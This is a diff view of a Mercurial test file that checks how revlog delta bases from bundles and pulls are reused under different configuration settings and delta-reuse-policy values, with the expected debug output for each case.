130 (confirm the file revision are in the same order, 2 should be smaller than 1)
130 (confirm the file revision are in the same order, 2 should be smaller than 1)
131
131
132 $ hg -R bundle-default debugdata my-file.txt 2 | wc -l
132 $ hg -R bundle-default debugdata my-file.txt 2 | wc -l
133 \s*1001 (re)
133 \s*1001 (re)
134 $ hg -R bundle-default debugdata my-file.txt 1 | wc -l
134 $ hg -R bundle-default debugdata my-file.txt 1 | wc -l
135 \s*1200 (re)
135 \s*1200 (re)
136
136
137 explicitly enabled
137 explicitly enabled
138 ------------------
138 ------------------
139
139
140 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
140 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
141 strusting in-bundle delta is faster to apply.
141 strusting in-bundle delta is faster to apply.
142
142
143 $ hg init bundle-reuse-enabled
143 $ hg init bundle-reuse-enabled
144 $ hg -R bundle-reuse-enabled unbundle all-p1.hg --quiet \
144 $ hg -R bundle-reuse-enabled unbundle all-p1.hg --quiet \
145 > --config storage.revlog.reuse-external-delta-parent=yes
145 > --config storage.revlog.reuse-external-delta-parent=yes
146 DBG-DELTAS: CHANGELOG: * (glob)
146 DBG-DELTAS: CHANGELOG: * (glob)
147 DBG-DELTAS: CHANGELOG: * (glob)
147 DBG-DELTAS: CHANGELOG: * (glob)
148 DBG-DELTAS: CHANGELOG: * (glob)
148 DBG-DELTAS: CHANGELOG: * (glob)
149 DBG-DELTAS: CHANGELOG: * (glob)
149 DBG-DELTAS: CHANGELOG: * (glob)
150 DBG-DELTAS: MANIFESTLOG: * (glob)
150 DBG-DELTAS: MANIFESTLOG: * (glob)
151 DBG-DELTAS: MANIFESTLOG: * (glob)
151 DBG-DELTAS: MANIFESTLOG: * (glob)
152 DBG-DELTAS: MANIFESTLOG: * (glob)
152 DBG-DELTAS: MANIFESTLOG: * (glob)
153 DBG-DELTAS: MANIFESTLOG: * (glob)
153 DBG-DELTAS: MANIFESTLOG: * (glob)
154 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
154 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
155 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
155 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
156 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
156 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
157 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
157 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
158
158
159 (confirm the file revision are in the same order, 2 should be smaller than 1)
159 (confirm the file revision are in the same order, 2 should be smaller than 1)
160
160
161 $ hg -R bundle-reuse-enabled debugdata my-file.txt 2 | wc -l
161 $ hg -R bundle-reuse-enabled debugdata my-file.txt 2 | wc -l
162 \s*1001 (re)
162 \s*1001 (re)
163 $ hg -R bundle-reuse-enabled debugdata my-file.txt 1 | wc -l
163 $ hg -R bundle-reuse-enabled debugdata my-file.txt 1 | wc -l
164 \s*1200 (re)
164 \s*1200 (re)
165
165
166 explicitly disabled
166 explicitly disabled
167 -------------------
167 -------------------
168
168
169 Not reusing the delta-base from the parent means we the delta will be made
169 Not reusing the delta-base from the parent means we the delta will be made
170 against the "best" parent. (so not the same as the previous two)
170 against the "best" parent. (so not the same as the previous two)
171
171
172 $ hg init bundle-reuse-disabled
172 $ hg init bundle-reuse-disabled
173 $ hg -R bundle-reuse-disabled unbundle all-p1.hg --quiet \
173 $ hg -R bundle-reuse-disabled unbundle all-p1.hg --quiet \
174 > --config storage.revlog.reuse-external-delta-parent=no
174 > --config storage.revlog.reuse-external-delta-parent=no
175 DBG-DELTAS: CHANGELOG: * (glob)
175 DBG-DELTAS: CHANGELOG: * (glob)
176 DBG-DELTAS: CHANGELOG: * (glob)
176 DBG-DELTAS: CHANGELOG: * (glob)
177 DBG-DELTAS: CHANGELOG: * (glob)
177 DBG-DELTAS: CHANGELOG: * (glob)
178 DBG-DELTAS: CHANGELOG: * (glob)
178 DBG-DELTAS: CHANGELOG: * (glob)
179 DBG-DELTAS: MANIFESTLOG: * (glob)
179 DBG-DELTAS: MANIFESTLOG: * (glob)
180 DBG-DELTAS: MANIFESTLOG: * (glob)
180 DBG-DELTAS: MANIFESTLOG: * (glob)
181 DBG-DELTAS: MANIFESTLOG: * (glob)
181 DBG-DELTAS: MANIFESTLOG: * (glob)
182 DBG-DELTAS: MANIFESTLOG: * (glob)
182 DBG-DELTAS: MANIFESTLOG: * (glob)
183 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
183 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
184 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
184 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
185 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
185 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
186 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
186 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
187
187
188 (confirm the file revision are in the same order, 2 should be smaller than 1)
188 (confirm the file revision are in the same order, 2 should be smaller than 1)
189
189
190 $ hg -R bundle-reuse-disabled debugdata my-file.txt 2 | wc -l
190 $ hg -R bundle-reuse-disabled debugdata my-file.txt 2 | wc -l
191 \s*1001 (re)
191 \s*1001 (re)
192 $ hg -R bundle-reuse-disabled debugdata my-file.txt 1 | wc -l
192 $ hg -R bundle-reuse-disabled debugdata my-file.txt 1 | wc -l
193 \s*1200 (re)
193 \s*1200 (re)
194
195
196 Check the path.*:delta-reuse-policy option
197 ==========================================
198
199 Get a repository with the bad parent picked and a clone ready to pull the merge
200
201 $ cp -ar bundle-reuse-enabled peer-bad-delta
202 $ hg clone peer-bad-delta local-pre-pull --rev `cat large.node` --rev `cat small.node` --quiet
203 DBG-DELTAS: CHANGELOG: * (glob)
204 DBG-DELTAS: CHANGELOG: * (glob)
205 DBG-DELTAS: CHANGELOG: * (glob)
206 DBG-DELTAS: MANIFESTLOG: * (glob)
207 DBG-DELTAS: MANIFESTLOG: * (glob)
208 DBG-DELTAS: MANIFESTLOG: * (glob)
209 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
210 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
211 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
212
213 Check the parent order for the file
214
215 $ hg -R local-pre-pull debugdata my-file.txt 2 | wc -l
216 \s*1001 (re)
217 $ hg -R local-pre-pull debugdata my-file.txt 1 | wc -l
218 \s*1200 (re)
219
220 Pull with no value (so the default)
221 -----------------------------------
222
223 default is to reuse the (bad) delta
224
225 $ cp -ar local-pre-pull local-no-value
226 $ hg -R local-no-value pull --quiet
227 DBG-DELTAS: CHANGELOG: * (glob)
228 DBG-DELTAS: MANIFESTLOG: * (glob)
229 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
230
231 Pull with explicitly the default
232 --------------------------------
233
234 default is to reuse the (bad) delta
235
236 $ cp -ar local-pre-pull local-default
237 $ hg -R local-default pull --quiet --config 'paths.default:delta-reuse-policy=default'
238 DBG-DELTAS: CHANGELOG: * (glob)
239 DBG-DELTAS: MANIFESTLOG: * (glob)
240 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
241
242 Pull with no-reuse
243 ------------------
244
245 We don't reuse the base, so we get a better delta
246
247 $ cp -ar local-pre-pull local-no-reuse
248 $ hg -R local-no-reuse pull --quiet --config 'paths.default:delta-reuse-policy=no-reuse'
249 DBG-DELTAS: CHANGELOG: * (glob)
250 DBG-DELTAS: MANIFESTLOG: * (glob)
251 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
252
253 Pull with try-base
254 ------------------
255
256 We requested to use the (bad) delta
257
258 $ cp -ar local-pre-pull local-try-base
259 $ hg -R local-try-base pull --quiet --config 'paths.default:delta-reuse-policy=try-base'
260 DBG-DELTAS: CHANGELOG: * (glob)
261 DBG-DELTAS: MANIFESTLOG: * (glob)
262 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
General Comments 0
You need to be logged in to leave comments. Login now